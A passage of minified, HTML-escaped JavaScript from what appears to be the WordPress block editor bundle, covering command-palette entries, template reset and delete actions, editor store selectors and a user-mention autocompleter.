autosave&quot;),url:t.autosave.editLink}]}))}),[]),(0,u.useEffect)((()=&gt;{F(e.type,e.id)}),[e.type,e.id,F]),(0,u.useEffect)((()=&gt;{M(t)}),[t,M]),(0,u.useEffect)((()=&gt;{O(r?.id)}),[r?.id,O]),(0,u.useEffect)((()=&gt;{f&amp;&amp;V(f)}),[f,V]),function(e,t){(0,u.useEffect)((()=&gt;((0,m.addFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removeTemplatePartsFromInserter&quot;,((s,o)=&gt;!(!ra.includes(e)&amp;&amp;&quot;core/template-part&quot;===o.name&amp;&amp;&quot;post-only&quot;===t)&amp;&amp;s)),(0,m.addFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removePostContentFromInserter&quot;,((t,s,o,{getBlockParentsByBlockName:n})=&gt;ra.includes(e)||&quot;core/post-content&quot;!==s.name?t:n(o,&quot;core/query&quot;).length&gt;0)),()=&gt;{(0,m.removeFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removeTemplatePartsFromInserter&quot;),(0,m.removeFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removePostContentFromInserter&quot;)})),[e,t])}(e.type,_),(0,ya.useCommandLoader)({name:&quot;core/editor/edit-ui&quot;,hook:function(){const{editorMode:e,isListViewOpen:t,showBlockBreadcrumbs:s,isDistractionFree:o,isFocusMode:n,isPreviewMode:i,isViewable:r,isCodeEditingEnabled:a,isRichEditingEnabled:l,isPublishSidebarEnabled:u}=(0,c.useSelect)((e=&gt;{var t,s;const{get:o}=e(k.store),{isListViewOpened:n,getCurrentPostType:i,getEditorSettings:r}=e(Ac),{getSettings:a}=e(h.store),{getPostType:l}=e(d.store);return{editorMode:null!==(t=o(&quot;core&quot;,&quot;editorMode&quot;))&amp;&amp;void 0!==t?t:&quot;visual&quot;,isListViewOpen:n(),showBlockBreadcrumbs:o(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),isDistractionFree:o(&quot;core&quot;,&quot;distractionFree&quot;),isFocusMode:o(&quot;core&quot;,&quot;focusMode&quot;),isPreviewMode:a().isPreviewMode,isViewable:null!==(s=l(i())?.viewable)&amp;&amp;void 0!==s&amp;&amp;s,isCodeEditingEnabled:r().codeEditingEnabled,isRichEditingEnabled:r().richEditingEnabled,isPublishSidebarEnabled:e(Ac).isPublishSidebarEnabled()}}),[]),{getActiveComplementaryArea:p}=(0,c.useSelect)(Ua),{toggle:m}=(0,c.useDispatch)(k.store),{createInfoNotice:g}=(0,c.useDispatch)(_s.store),{__unstableSaveForPreview:_,setIsListViewOpened:f,switchEditorMode:b,toggleDistractionFree:y,toggleSpotlightMode:x,toggleTopToolbar:S}=(0,c.useDispatch)(Ac),{openModal:w,enableComplementaryArea:C,disableComplementaryArea:P}=(0,c.useDispatch)(Ua),{getCurrentPostId:j}=(0,c.useSelect)(Ac),{isBlockBasedTheme:E,canCreateTemplate:T}=(0,c.useSelect)((e=&gt;({isBlockBasedTheme:e(d.store).getCurrentTheme()?.is_block_theme,canCreateTemplate:e(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})})),[]),B=a&amp;&amp;l;if(i)return{commands:[],isLoading:!1};const I=[];if(I.push({name:&quot;core/open-shortcut-help&quot;,label:(0,fs.__)(&quot;Keyboard shortcuts&quot;),icon:aa,callback:({close:e})=&gt;{e(),w(&quot;editor/keyboard-shortcut-help&quot;)}}),I.push({name:&quot;core/toggle-distraction-free&quot;,label:o?(0,fs.__)(&quot;Exit Distraction free&quot;):(0,fs.__)(&quot;Enter Distraction free&quot;),callback:({close:e})=&gt;{y(),e()}}),I.push({name:&quot;core/open-preferences&quot;,label:(0,fs.__)(&quot;Editor preferences&quot;),callback:({close:e})=&gt;{e(),w(&quot;editor/preferences&quot;)}}),I.push({name:&quot;core/toggle-spotlight-mode&quot;,label:n?(0,fs.__)(&quot;Exit Spotlight mode&quot;):(0,fs.__)(&quot;Enter Spotlight mode&quot;),callback:({close:e})=&gt;{x(),e()}}),I.push({name:&quot;core/toggle-list-view&quot;,label:t?(0,fs.__)(&quot;Close List View&quot;):(0,fs.__)(&quot;Open List View&quot;),icon:la,callback:({close:e})=&gt;{f(!t),e(),g(t?(0,fs.__)(&quot;List View off.&quot;):(0,fs.__)(&quot;List View on.&quot;),{id:&quot;core/editor/toggle-list-view/notice&quot;,type:&quot;snackbar&quot;})}}),I.push({name:&quot;core/toggle-top-toolbar&quot;,label:(0,fs.__)(&quot;Top toolbar&quot;),callback:({close:e})=&gt;{S(),e()}}),B&amp;&amp;I.push({name:&quot;core/toggle-code-editor&quot;,label:&quot;visual&quot;===e?(0,fs.__)(&quot;Open code editor&quot;):(0,fs.__)(&quot;Exit code editor&quot;),icon:ca,callback:({close:t})=&gt;{b(&quot;visual&quot;===e?&quot;text&quot;:&quot;visual&quot;),t()}}),I.push({name:&quot;core/toggle-breadcrumbs&quot;,label:s?(0,fs.__)(&quot;Hide block breadcrumbs&quot;):(0,fs.__)(&quot;Show block breadcrumbs&quot;),callback:({close:e})=&gt;{m(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),e(),g(s?(0,fs.__)(&quot;Breadcrumbs hidden.&quot;):(0,fs.__)(&quot;Breadcrumbs visible.&quot;),{id:&quot;core/editor/toggle-breadcrumbs/notice&quot;,type:&quot;snackbar&quot;})}}),I.push({name:&quot;core/open-settings-sidebar&quot;,label:(0,fs.__)(&quot;Show or hide the Settings panel.&quot;),icon:(0,fs.isRTL)()?da:ua,callback:({close:e})=&gt;{const t=p(&quot;core&quot;);e(),&quot;edit-post/document&quot;===t?P(&quot;core&quot;):C(&quot;core&quot;,&quot;edit-post/document&quot;)}}),I.push({name:&quot;core/open-block-inspector&quot;,label:(0,fs.__)(&quot;Show or hide the Block settings panel&quot;),icon:pa,callback:({close:e})=&gt;{const t=p(&quot;core&quot;);e(),&quot;edit-post/block&quot;===t?P(&quot;core&quot;):C(&quot;core&quot;,&quot;edit-post/block&quot;)}}),I.push({name:&quot;core/toggle-publish-sidebar&quot;,label:u?(0,fs.__)(&quot;Disable pre-publish checks&quot;):(0,fs.__)(&quot;Enable pre-publish checks&quot;),icon:ma,callback:({close:e})=&gt;{e(),m(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;),g(u?(0,fs.__)(&quot;Pre-publish checks disabled.&quot;):(0,fs.__)(&quot;Pre-publish checks enabled.&quot;),{id:&quot;core/editor/publish-sidebar/notice&quot;,type:&quot;snackbar&quot;})}}),r&amp;&amp;I.push({name:&quot;core/preview-link&quot;,label:(0,fs.__)(&quot;Preview in a new tab&quot;),icon:Fo,callback:async({close:e})=&gt;{e();const t=j(),s=await _();window.open(s,`wp-preview-${t}`)}}),T&amp;&amp;E){const e=(0,v.getPath)(window.location.href)?.includes(&quot;site-editor.php&quot;);e||I.push({name:&quot;core/go-to-site-editor&quot;,label:(0,fs.__)(&quot;Open Site Editor&quot;),callback:({close:e})=&gt;{e(),document.location=&quot;site-editor.php&quot;}})}return{commands:I,isLoading:!1}}}),(0,ya.useCommandLoader)({name:&quot;core/editor/contextual-commands&quot;,hook:function(){const{postType:e}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t}=e(Ac);return{postType:t()}}),[]),{openModal:t}=(0,c.useDispatch)(Ua),s=[];return e===I&amp;&amp;(s.push({name:&quot;core/rename-pattern&quot;,label:(0,fs.__)(&quot;Rename pattern&quot;),icon:ha,callback:({close:e})=&gt;{t(cl),e()}}),s.push({name:&quot;core/duplicate-pattern&quot;,label:(0,fs.__)(&quot;Duplicate pattern&quot;),icon:ga,callback:({close:e})=&gt;{t(pl),e()}})),{isLoading:!1,commands:s}},context:&quot;entity-edit&quot;}),(0,ya.useCommandLoader)({name:&quot;core/editor/page-content-focus&quot;,hook:function(){const{onNavigateToEntityRecord:e,goBack:t,templateId:s,isPreviewMode:o}=(0,c.useSelect)((e=&gt;{const{getRenderingMode:t,getEditorSettings:s,getCurrentTemplateId:o}=$(e(Ac)),n=s();return{isTemplateHidden:&quot;post-only&quot;===t(),onNavigateToEntityRecord:n.onNavigateToEntityRecord,getEditorSettings:s,goBack:n.onNavigateToPreviousEntityRecord,templateId:o(),isPreviewMode:n.isPreviewMode}}),[]),{editedRecord:n,hasResolved:i}=(0,d.useEntityRecord)(&quot;postType&quot;,&quot;wp_template&quot;,s);if(o)return{isLoading:!1,commands:[]};const r=[];return s&amp;&amp;i&amp;&amp;r.push({name:&quot;core/switch-to-template-focus&quot;,label:(0,fs.sprintf)((0,fs.__)(&quot;Edit template: %s&quot;),(0,Lo.decodeEntities)(n.title)),icon:W,callback:({close:t})=&gt;{e({postId:s,postType:&quot;wp_template&quot;}),t()}}),t&amp;&amp;r.push({name:&quot;core/switch-to-previous-entity&quot;,label:(0,fs.__)(&quot;Go back&quot;),icon:_a,callback:({close:e})=&gt;{t(),e()}}),{isLoading:!1,commands:r}},context:&quot;entity-edit&quot;}),(0,ya.useCommandLoader)({name:&quot;core/edit-site/manipulate-document&quot;,hook:function(){const{postType:e,postId:t}=(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac);return{postType:s(),postId:t()}}),[]),{editedRecord:s,hasResolved:o}=(0,d.useEntityRecord)(&quot;postType&quot;,e,t),{revertTemplate:n}=$((0,c.useDispatch)(Ac));if(!o||![B,T].includes(e))return{isLoading:!0,commands:[]};const i=[];if(Oo(s)){const e=s.type===T?(0,fs.sprintf)((0,fs.__)(&quot;Reset template: %s&quot;),(0,Lo.decodeEntities)(s.title)):(0,fs.sprintf)((0,fs.__)(&quot;Reset template part: %s&quot;),(0,Lo.decodeEntities)(s.title));i.push({name:&quot;core/reset-template&quot;,label:e,icon:(0,fs.isRTL)()?fa:ba,callback:({close:e})=&gt;{n(s),e()}})}return{isLoading:!o,commands:i}}}),g&amp;&amp;_?(0,L.jsx)(d.EntityProvider,{kind:&quot;root&quot;,type:&quot;site&quot;,children:(0,L.jsx)(d.EntityProvider,{kind:&quot;postType&quot;,type:e.type,id:e.id,children:(0,L.jsx)(h.BlockContextProvider,{value:w,children:(0,L.jsxs)(i,{value:E,onChange:D,onInput:N,selection:p,settings:j,useSubRegistry:!1,children:[n,!t.isPreviewMode&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)($l,{}),(0,L.jsx)(Ul,{}),(0,L.jsx)(Al,{}),&quot;template-locked&quot;===_&amp;&amp;(0,L.jsx)(na,{}),&quot;wp_navigation&quot;===P&amp;&amp;(0,L.jsx)(ia,{}),(0,L.jsx)(Fl,{}),(0,L.jsx)(Il,{}),(0,L.jsx)(fl,{}),(0,L.jsx)(xl,{}),(0,L.jsx)(Ol,{}),(0,L.jsx)(dl,{}),(0,L.jsx)(ml,{})]})]})})})}):null}));function Kl(e){return(0,L.jsx)(Yl,{...e,BlockEditorProviderComponent:h.BlockEditorProvider,children:e.children})}const ql=Kl,{useGlobalStyle:Ql}=$(h.privateApis);function Xl({template:e,post:t}){const[s=&quot;white&quot;]=Ql(&quot;color.background&quot;),[o]=(0,d.useEntityBlockEditor)(&quot;postType&quot;,t.type,{id:t.id}),[n]=(0,d.useEntityBlockEditor)(&quot;postType&quot;,e?.type,{id:e?.id}),i=e&amp;&amp;n?n:o,r=!i?.length;return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-fields-content-preview&quot;,style:{backgroundColor:s},children:[r&amp;&amp;(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-fields-content-preview__empty&quot;,children:(0,fs.__)(&quot;Empty content&quot;)}),!r&amp;&amp;(0,L.jsx)(h.BlockPreview.Async,{children:(0,L.jsx)(h.BlockPreview,{blocks:i})})]})}const Jl={type:&quot;media&quot;,id:&quot;content-preview&quot;,label:(0,fs.__)(&quot;Content preview&quot;),render:function({item:e}){const{settings:t,template:s}=(0,c.useSelect)((t=&gt;{var s;const{canUser:o,getPostType:n,getTemplateId:i,getEntityRecord:r}=$(t(d.store)),a=o(&quot;read&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),l=t(Ac).getEditorSettings(),c=l.supportsTemplateMode,u=null!==(s=n(e.type)?.viewable)&amp;&amp;void 0!==s&amp;&amp;s,p=c&amp;&amp;u&amp;&amp;a?i(e.type,e.id):null;return{settings:l,template:p?r(&quot;postType&quot;,&quot;wp_template&quot;,p):void 0}}),[e.type,e.id]);return(0,L.jsx)(Kl,{post:e,settings:t,__unstableTemplate:s,children:(0,L.jsx)(Xl,{template:s,post:e})})},enableSorting:!1},ec=Jl;function tc(e,t,s){return{type:&quot;REGISTER_ENTITY_ACTION&quot;,kind:e,name:t,config:s}}function sc(e,t,s){return{type:&quot;UNREGISTER_ENTITY_ACTION&quot;,kind:e,name:t,actionId:s}}function oc(e,t,s){return{type:&quot;REGISTER_ENTITY_FIELD&quot;,kind:e,name:t,config:s}}function nc(e,t,s){return{type:&quot;UNREGISTER_ENTITY_FIELD&quot;,kind:e,name:t,fieldId:s}}function ic(e,t){return{type:&quot;SET_IS_READY&quot;,kind:e,name:t}}const rc=e=&gt;async({registry:t})=&gt;{if($(t.select(Ac)).isEntityReady(&quot;postType&quot;,e))return;$(t.dispatch(Ac)).setIsReady(&quot;postType&quot;,e);const s=await t.resolveSelect(d.store).getPostType(e),o=await t.resolveSelect(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:e}),n=await t.resolveSelect(d.store).getCurrentTheme(),i=[s.viewable?Vo:void 0,s.supports?.revisions?zo:void 0,void 0,&quot;wp_template_part&quot;===s.slug&amp;&amp;o&amp;&amp;n?.is_block_theme?an:void 0,o&amp;&amp;&quot;wp_block&quot;===s.slug?hn:void 0,s.supports?.title?fn:void 0,s.supports?.[&quot;page-attributes&quot;]?Fn:void 0,&quot;wp_block&quot;===s.slug?mi:void 0,gi,bi,wi,Ci,ji].filter(Boolean),r=[s.supports?.thumbnail&amp;&amp;n?.theme_supports?.[&quot;post-thumbnails&quot;]&amp;&amp;Ii,s.supports?.author&amp;&amp;Li,$i,Yi,er,s.supports?.[&quot;page-attributes&quot;]&amp;&amp;rr,s.supports?.comments&amp;&amp;ar,dr,ur,s.supports?.editor&amp;&amp;s.viewable&amp;&amp;ec].filter(Boolean);if(s.supports?.title){let t;t=&quot;page&quot;===e?gr:&quot;wp_template&quot;===e?_r:&quot;wp_block&quot;===e?xr:vr,r.push(t)}t.batch((()=&gt;{i.forEach((s=&gt;{$(t.dispatch(Ac)).registerEntityAction(&quot;postType&quot;,e,s)})),r.forEach((s=&gt;{$(t.dispatch(Ac)).registerEntityField(&quot;postType&quot;,e,s)}))})),(0,m.doAction)(&quot;core.registerPostTypeSchema&quot;,e)};function ac(e){return{type:&quot;SET_CURRENT_TEMPLATE_ID&quot;,id:e}}const lc=e=&gt;async({select:t,dispatch:s,registry:o})=&gt;{const n=await o.dispatch(d.store).saveEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,e);return o.dispatch(d.store).editEntityRecord(&quot;postType&quot;,t.getCurrentPostType(),t.getCurrentPostId(),{template:n.slug}),o.dispatch(_s.store).createSuccessNotice((0,fs.__)(&quot;Custom template created. You&#039;re in template mode now.&quot;),{type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Go back&quot;),onClick:()=&gt;s.setRenderingMode(t.getEditorSettings().defaultRenderingMode)}]}),n},cc=e=&gt;({registry:t})=&gt;{var s;const o=(null!==(s=t.select(k.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;))&amp;&amp;void 0!==s?s:[]).filter((t=&gt;!(Array.isArray(e)?e:[e]).includes(t)));t.dispatch(k.store).set(&quot;core&quot;,&quot;hiddenBlockTypes&quot;,o)},dc=e=&gt;({registry:t})=&gt;{var s;const o=null!==(s=t.select(k.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;))&amp;&amp;void 0!==s?s:[],n=new Set([...o,...Array.isArray(e)?e:[e]]);t.dispatch(k.store).set(&quot;core&quot;,&quot;hiddenBlockTypes&quot;,[...n])},uc=({onSave:e,dirtyEntityRecords:t=[],entitiesToSkip:s=[],close:o}={})=&gt;({registry:n})=&gt;{const i=[{kind:&quot;postType&quot;,name:&quot;wp_navigation&quot;}],r=&quot;site-editor-save-success&quot;,a=n.select(d.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home;n.dispatch(_s.store).removeNotice(r);const l=t.filter((({kind:e,name:t,key:o,property:n})=&gt;!s.some((s=&gt;s.kind===e&amp;&amp;s.name===t&amp;&amp;s.key===o&amp;&amp;s.property===n))));o?.(l);const c=[],u=[];l.forEach((({kind:e,name:t,key:s,property:o})=&gt;{&quot;root&quot;===e&amp;&amp;&quot;site&quot;===t?c.push(o):(i.some((s=&gt;s.kind===e&amp;&amp;s.name===t))&amp;&amp;n.dispatch(d.store).editEntityRecord(e,t,s,{status:&quot;publish&quot;}),u.push(n.dispatch(d.store).saveEditedEntityRecord(e,t,s)))})),c.length&amp;&amp;u.push(n.dispatch(d.store).__experimentalSaveSpecifiedEntityEdits(&quot;root&quot;,&quot;site&quot;,void 0,c)),n.dispatch(h.store).__unstableMarkLastChangeAsPersistent(),Promise.all(u).then((t=&gt;e?e(t):t)).then((e=&gt;{e.some((e=&gt;void 0===e))?n.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;Saving failed.&quot;)):n.dispatch(_s.store).createSuccessNotice((0,fs.__)(&quot;Site updated.&quot;),{type:&quot;snackbar&quot;,id:r,actions:[{label:(0,fs.__)(&quot;View site&quot;),url:a}]})})).catch((e=&gt;n.dispatch(_s.store).createErrorNotice(`${(0,fs.__)(&quot;Saving failed.&quot;)} ${e}`)))},pc=(e,{allowUndo:t=!0}={})=&gt;async({registry:s})=&gt;{const o=&quot;edit-site-template-reverted&quot;;if(s.dispatch(_s.store).removeNotice(o),Oo(e))try{const n=s.select(d.store).getEntityConfig(&quot;postType&quot;,e.type);if(!n)return void s.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const i=(0,v.addQueryArgs)(`${n.baseURL}/${e.id}`,{context:&quot;edit&quot;,source:e.origin}),r=await gs()({path:i});if(!r)return void s.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const a=({blocks:e=[]})=&gt;(0,y.__unstableSerializeAndClean)(e),l=s.select(d.store).getEditedEntityRecord(&quot;postType&quot;,e.type,e.id);s.dispatch(d.store).editEntityRecord(&quot;postType&quot;,e.type,e.id,{content:a,blocks:l.blocks,source:&quot;custom&quot;},{undoIgnore:!0});const c=(0,y.parse)(r?.content?.raw);if(s.dispatch(d.store).editEntityRecord(&quot;postType&quot;,e.type,r.id,{content:a,blocks:c,source:&quot;theme&quot;}),t){const t=()=&gt;{s.dispatch(d.store).editEntityRecord(&quot;postType&quot;,e.type,l.id,{content:a,blocks:l.blocks,source:&quot;custom&quot;})};s.dispatch(_s.store).createSuccessNotice((0,fs.__)(&quot;Template reset.&quot;),{type:&quot;snackbar&quot;,id:o,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:t}]})}}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;Template revert failed. Please reload.&quot;);s.dispatch(_s.store).createErrorNotice(t,{type:&quot;snackbar&quot;})}else s.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;This template is not revertable.&quot;),{type:&quot;snackbar&quot;})},mc=e=&gt;async({registry:t})=&gt;{const s=e.every((e=&gt;e?.has_theme_file)),o=await Promise.allSettled(e.map((e=&gt;t.dispatch(d.store).deleteEntityRecord(&quot;postType&quot;,e.type,e.id,{force:!0},{throwOnError:!0}))));if(o.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let o;if(1===e.length){let t;&quot;string&quot;==typeof e[0].title?t=e[0].title:&quot;string&quot;==typeof e[0].title?.rendered?t=e[0].title?.rendered:&quot;string&quot;==typeof e[0].title?.raw&amp;&amp;(t=e[0].title?.raw),o=s?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; reset.&#039;),(0,Lo.decodeEntities)(t)):(0,fs.sprintf)((0,fs._x)(&#039;&quot;%s&quot; deleted.&#039;,&quot;template part&quot;),(0,Lo.decodeEntities)(t))}else o=s?(0,fs.__)(&quot;Items reset.&quot;):(0,fs.__)(&quot;Items deleted.&quot;);t.dispatch(_s.store).createSuccessNotice(o,{type:&quot;snackbar&quot;,id:&quot;editor-template-deleted-success&quot;})}else{let e;if(1===o.length)e=o[0].reason?.message?o[0].reason.message:s?(0,fs.__)(&quot;An error occurred while reverting the item.&quot;):(0,fs.__)(&quot;An error occurred while deleting the item.&quot;);else{const t=new Set,n=o.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of n)e.reason?.message&amp;&amp;t.add(e.reason.message);e=0===t.size?(0,fs.__)(&quot;An error occurred while deleting the items.&quot;):1===t.size?s?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while reverting the items: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while deleting the items: %s&quot;),[...t][0]):s?(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while reverting the items: %s&quot;),[...t].join(&quot;,&quot;)):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while deleting the items: %s&quot;),[...t].join(&quot;,&quot;))}t.dispatch(_s.store).createErrorNotice(e,{type:&quot;snackbar&quot;})}},hc=e=&gt;({select:t,registry:s})=&gt;{var o;const n=t.getCurrentPostType(),i=s.select(d.store).getCurrentTheme()?.stylesheet,r=null!==(o=s.select(k.store).get(&quot;core&quot;,&quot;renderingModes&quot;)?.[i])&amp;&amp;void 0!==o?o:{};if(r[n]===e)return;const a={[i]:{...r,[n]:e}};s.dispatch(k.store).set(&quot;core&quot;,&quot;renderingModes&quot;,a)};var gc=s(5215),_c=s.n(gc);const fc=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z&quot;})}),bc=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z&quot;})}),yc=[];const xc={rootClientId:void 0,insertionIndex:void 0,filterValue:void 0},vc=[&quot;post-only&quot;,&quot;template-locked&quot;],Sc=(0,c.createRegistrySelector)((e=&gt;(0,c.createSelector)((t=&gt;{if(&quot;object&quot;==typeof t.blockInserterPanel)return t.blockInserterPanel;if(&quot;template-locked&quot;===st(t)){const[t]=e(h.store).getBlocksByName(&quot;core/post-content&quot;);if(t)return{rootClientId:t,insertionIndex:void 0,filterValue:void 0}}return xc}),(t=&gt;{const[s]=e(h.store).getBlocksByName(&quot;core/post-content&quot;);return[t.blockInserterPanel,st(t),s]}))));function wc(e){return e.listViewToggleRef}function kc(e){return e.inserterSidebarToggleRef}const Cc={wp_block:ga,wp_navigation:fc,page:_a,post:bc},Pc=(0,c.createRegistrySelector)((e=&gt;(t,s,o)=&gt;{{if(&quot;wp_template_part&quot;===s||&quot;wp_template&quot;===s){const t=(e(d.store).getCurrentTheme()?.default_template_part_areas||[]).find((e=&gt;o.area===e.area));return t?.icon?U(t.icon):W}if(Cc[s])return Cc[s];const t=e(d.store).getPostType(s);return&quot;string&quot;==typeof t?.icon&amp;&amp;t.icon.startsWith(&quot;dashicons-&quot;)?t.icon.slice(10):_a}})),jc=(0,c.createRegistrySelector)((e=&gt;(t,s,o)=&gt;{const{type:n,id:i}=oe(t),r=e(d.store).getEntityRecordNonTransientEdits(&quot;postType&quot;,s||n,o||i);if(!r?.meta)return!1;const a=e(d.store).getEntityRecord(&quot;postType&quot;,s||n,o||i)?.meta;return!_c()({...a,footnotes:void 0},{...r.meta,footnotes:void 0})}));function Ec(e,...t){return function(e,t,s){var o;return null!==(o=e.actions[t]?.[s])&amp;&amp;void 0!==o?o:yc}(e.dataviews,...t)}function Tc(e,...t){return function(e,t,s){return e.isReady[t]?.[s]}(e.dataviews,...t)}function Bc(e,...t){return function(e,t,s){var o;return null!==(o=e.fields[t]?.[s])&amp;&amp;void 0!==o?o:yc}(e.dataviews,...t)}const Ic=(0,c.createRegistrySelector)((e=&gt;(0,c.createSelector)(((t,s)=&gt;{s=Array.isArray(s)?s:[s];const{getBlocksByName:o,getBlockParents:n,getBlockName:i}=e(h.store);return o(s).filter((e=&gt;n(e).every((e=&gt;{const t=i(e);return&quot;core/query&quot;!==t&amp;&amp;!s.includes(t)}))))}),(()=&gt;[e(h.store).getBlocks()])))),Nc=(0,c.createRegistrySelector)((e=&gt;(t,s)=&gt;{const{getPostType:o,getCurrentTheme:n,hasFinishedResolution:i}=e(d.store),r=n(),a=o(s);if(!i(&quot;getPostType&quot;,[s])||!i(&quot;getCurrentTheme&quot;))return;const l=r?.stylesheet,c=e(k.store).get(&quot;core&quot;,&quot;renderingModes&quot;)?.[l]?.[s],u=Array.isArray(a?.supports?.editor)?a.supports.editor.find((e=&gt;&quot;default-mode&quot;in e))?.[&quot;default-mode&quot;]:void 0,p=c||u;return vc.includes(p)?p:&quot;post-only&quot;})),Dc={reducer:b,selectors:e,actions:t},Ac=(0,c.createReduxStore)(&quot;core/editor&quot;,{...Dc});(0,c.register)(Ac),$(Ac).registerPrivateActions(a),$(Ac).registerPrivateSelectors(l);function Rc(e){const t=e.avatar_urls&amp;&amp;e.avatar_urls[24]?(0,L.jsx)(&quot;img&quot;,{className:&quot;editor-autocompleters__user-avatar&quot;,alt:&quot;&quot;,src:e.avatar_urls[24]}):(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__no-avatar&quot;});return(0,L.jsxs)(L.Fragment,{children:[t,(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__user-name&quot;,children:e.name}),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__user-slug&quot;,children:e.slug})]})}(0,m.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/custom-sources-backwards-compatibility/shim-attribute-source&quot;,(function(e){var t;const s=Object.fromEntries(Object.entries(null!==(t=e.attributes)&amp;&amp;void 0!==t?t:{}).filter((([,{source:e}])=&gt;&quot;meta&quot;===e)).map((([e,{meta:t}])=&gt;[e,t])));return Object.entries(s).length&amp;&amp;(e.edit=(e=&gt;(0,p.createHigherOrderComponent)((t=&gt;({attributes:s,setAttributes:o,...n})=&gt;{const i=(0,c.useSelect)((e=&gt;e(Ac).getCurrentPostType()),[]),[r,a]=(0,d.useEntityProp)(&quot;postType&quot;,i,&quot;meta&quot;),l=(0,u.useMemo)((()=&gt;({...s,...Object.fromEntries(Object.entries(e).map((([e,t])=&gt;[e,r[t]])))})),[s,r]);return(0,L.jsx)(t,{attributes:l,setAttributes:t=&gt;{const s=Object.fromEntries(Object.entries(null!=t?t:{}).filter((([t])=&gt;t in e)).map((([t,s])=&gt;[e[t],s])));Object.entries(s).length&amp;&amp;a(s),o(t)},...n})}),&quot;withMetaAttributeSource&quot;))(s)(e.edit)),e}));const Mc={name:&quot;users&quot;,className:&quot;editor-autocompleters__user&quot;,triggerPrefix:&quot;@&quot;,useItems(e){const t=(0,c.useSelect)((t=&gt;{const{getUsers:s}=t(d.store);return s({context:&quot;view&quot;,search:encodeURIComponent(e)})}),[e]),s=(0,u.useMemo)((()=&gt;t?t.map((e=&gt;({key:`user-${e.slug}`,value:e,label:Rc(e)}))):[]),[t]);return[s]},getOptionCompletion:e=&gt;`@${e.slug}`};(0,m.addFilter)(&quot;editor.Autocomplete.completers&quot;,&quot;editor/autocompleters/set-default-completers&quot;,(function(e=[]){return e.push({...Mc}),e})),(0,m.addFilter)(&quot;editor.MediaUpload&quot;,&quot;core/editor/components/media-upload&quot;,(()=&gt;Ei.MediaUpload));const{PatternOverridesControls:Lc,ResetOverridesControl:Oc,PatternOverridesBlockControls:Fc,PATTERN_TYPES:Vc,PARTIAL_SYNCING_SUPPORTED_BLOCKS:zc,PATTERN_SYNC_TYPES:Uc}=$(ln.privateApis),Hc=(0,p.createHigherOrderComponent)((e=&gt;t=&gt;{const 